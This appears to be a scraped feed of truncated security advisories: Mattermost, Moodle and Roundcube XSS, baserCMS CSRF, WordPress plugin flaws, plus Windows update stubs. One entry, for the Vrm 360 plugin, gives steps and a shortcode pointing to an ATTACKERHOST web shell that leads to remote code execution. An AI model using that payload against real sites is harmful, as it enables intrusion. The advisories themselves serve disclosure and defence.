November 30, 2023—KB5032278 (OS Build 19045.3758) Preview

None None...

Mattermost Security Bypass Vulnerability

Mattermost is an open source collaboration platform from Mattermost, Inc. in the United States. A security bypass vulnerability exists in Mattermost that stems from an inability to check if the "Allow users to view archived channels" setting is enabled during the permalink preview display, even i...

CVE-2023-43754 Permalink previews displayed for posts in archived channels even if users are disallowed to view archived channels

Mattermost fails to check whether the “Allow users to view archived channels” setting is enabled during permalink previews display, allowing members to view permalink previews of archived channels even if the “Allow users to view archived channels” setting is disabled...

Vrm 360 3D Model Viewer <= 1.2.1 - Contributor+ Arbitrary File Upload Leading to RCE

Description The plugin is vulnerable to arbitrary file upload due to insufficient checks in a plugin shortcode. 1. Host a webserver with a shell named webshell.zip.php 2. As a contributor, add the shortcode: vrm360 canvasname=s1 modelurl=http://ATTACKERHOST/webshell.zip.php aspectratio=1.8...

WP User Frontend < 3.6.9 - Missing Authorization via AJAX actions

Description The WP User Frontend plugin for WordPress is vulnerable to unauthorized functionality use due to a missing capability check on several functions corresponding to AJAX actions in versions up to, and including, 3.6.8. This makes it possible for authenticated attackers, with...

Fedora 38 : roundcubemail (2023-0fd9865145)

The remote Fedora 38 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2023-0fd9865145 advisory. Release 1.6.5 - Fix PHP8 fatal error when parsing a malformed BODYSTRUCTURE 9171 - Fix duplicated Inbox folder on IMAP servers that do not use Inbox...

GHSA-9GQP-3G28-W9XC Moodle Cross-site Scripting vulnerability

The course upload preview contained an XSS risk for users uploading unsafe data...

Moodle Cross-site Scripting vulnerability

The course upload preview contained an XSS risk for users uploading unsafe data...

CVE-2023-5547

The course upload preview contained an XSS risk for users uploading unsafe data...

UBUNTU-CVE-2023-5547

The course upload preview contained an XSS risk for users uploading unsafe data...

CVE-2023-5547

The course upload preview contained an XSS risk for users uploading unsafe data...

CVE-2023-5547

CVE-2023-5547 concerns Moodle: a cross-site scripting (XSS) risk in the course upload preview when users upload unsafe data. The OSV and GitHub advisories explicitly describe the XSS issue. No public details on affected versions, root cause specifics, exploit status, or available patches are prov...

CVE-2023-5547 Moodle: xss risk when previewing data in course upload tool

The course upload preview contained an XSS risk for users uploading unsafe data...

PT-2023-8911 · Moodle +1 · Moodle +1

Name of the Vulnerable Software and Affected Versions: Moodle affected versions not specified Description: The issue is related to an XSS risk in the course upload preview, which can be exploited when users upload unsafe data. This can allow a remote attacker to perform cross-site scripting...

CVE-2023-47272

Roundcube 1.5.x before 1.5.6 and 1.6.x before 1.6.5 allows XSS via a Content-Type or Content-Disposition header used for attachment preview or download...

CVE-2023-47272

Roundcube 1.5.x before 1.5.6 and 1.6.x before 1.6.5 allows XSS via a Content-Type or Content-Disposition header used for attachment preview or download...

PT-2023-6963 · Roundcube +3 · Roundcube +3

Name of the Vulnerable Software and Affected Versions: Roundcube versions 1.5.x through 1.5.5 Roundcube versions 1.6.x through 1.6.4 Description: The issue is related to improper input neutralization during web page creation, which can lead to cross-site scripting XSS attacks via a Content-Type o...

October 31, 2023—KB5031455 (OS Builds 22621.2506 and 22631.2506) Preview

None None...

CVE-2023-43649

baserCMS is a website development framework. Prior to version 4.8.0, there is a cross site request forgery vulnerability in the content preview feature of baserCMS. Version 4.8.0 contains a patch for this issue...

Cross site request forgery (csrf)

baserCMS is a website development framework. Prior to version 4.8.0, there is a cross site request forgery vulnerability in the content preview feature of baserCMS. Version 4.8.0 contains a patch for this issue...